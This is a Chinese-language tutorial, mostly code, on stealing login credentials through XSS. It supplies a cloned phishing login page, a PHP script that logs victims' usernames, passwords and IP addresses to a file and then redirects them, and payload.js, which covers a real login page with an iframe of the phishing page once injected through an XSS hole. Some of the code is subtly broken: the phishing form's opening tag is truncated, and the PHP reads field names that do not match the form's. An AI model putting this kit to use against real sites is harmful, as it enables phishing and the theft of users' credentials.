首先先准备一个登陆环境
login.php 登录页面文件
hack.html 钓鱼用登录页面,与正常登录页面前端相同
hack.php 用于接受保存钓鱼页面传输的数据
payload.js 用于覆盖原有登录页面
1、首先先做一个简单的登陆页面
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
登录界面</br>
<form action="127.0.0.1/login.php" method="post">
<input type="text" name="user" value="UserName">
<input type="text" name="pass" value="PassWord">
<input type="submit" name="name" value="login">
</form>
<script src="http://127.0.0.1/xsshack/payload.js"></script>
</body>
</html>
2、然后再做一个钓鱼页面,但是表单提交的地址变为我们可以控制的页面,其余的与登陆页面相同
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>xxx用户登录(钓鱼页面)</title>
</head>
<body>
http://127.0.0.1/hack.php" method="post">
xxxx登录页面(钓鱼页面)<br>
<input type="text" name="user" value=""><br>
<input type="password" name="pass" value=""><br>
<input type="submit" name="Login" value="Login">
</form>
</body>
</html>
3、我们还需要一个接受保存的密码的脚本,也就是上边的hack.php文件,代码如下:
<?php
$str=' ';
$str.='name: ' .$_POST['userName'] . ' | ';
$str.=' pwd:' .$_POST['password'] . ' | ';
$str.=' ip:' . $_SERVER["REMOTE_ADDR"] . ' | ';
$str.=' time:' . date("m-d-h:i");
file_put_contents('password.txt',$str.PHP_EOL, FILE_APPEND);
header("location:http://www.baidu.com");
?>
4、构造一段代码payload.js,实现覆盖原有页面并调用我们的钓鱼页面进行覆盖,代码如下:
document.body.innerHTML='<div style="position:absolute;top:0px;left:0px;width:100%;height:100%">'+
'<iframe src=http://127.0.0.1/xsshack/hack.html width=100% height=100%>' +
'</iframe></div>';
5、然后我们可以利用页面的XSS将利用代码插入到正常页面,通过利用代码远程调用我们的javascript文件,覆盖正常登录页面,这里只是演示,我们直接将利用代码加入到正常登陆页面内
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
登录界面</br>
<form action="127.0.0.1/login.php" method="post">
<input type="text" name="user" value="UserName">
<input type="text" name="pass" value="PassWord">
<input type="submit" name="name" value="login">
</form>
<script src="http://127.0.0.1/xsshack/payload.js"></script>
</body>
</html>
6、此时当我们访问登录页面时,就会跳到我们的钓鱼页面。
通过源代码可以不难看出,整个页面已经被一个iframe框架覆盖,并且数据提交地址已经改变
现在我们在输入账号密码登录时数据已经提交到我们的服务器并进行了保存,然后URL跳到了我们指定的地址。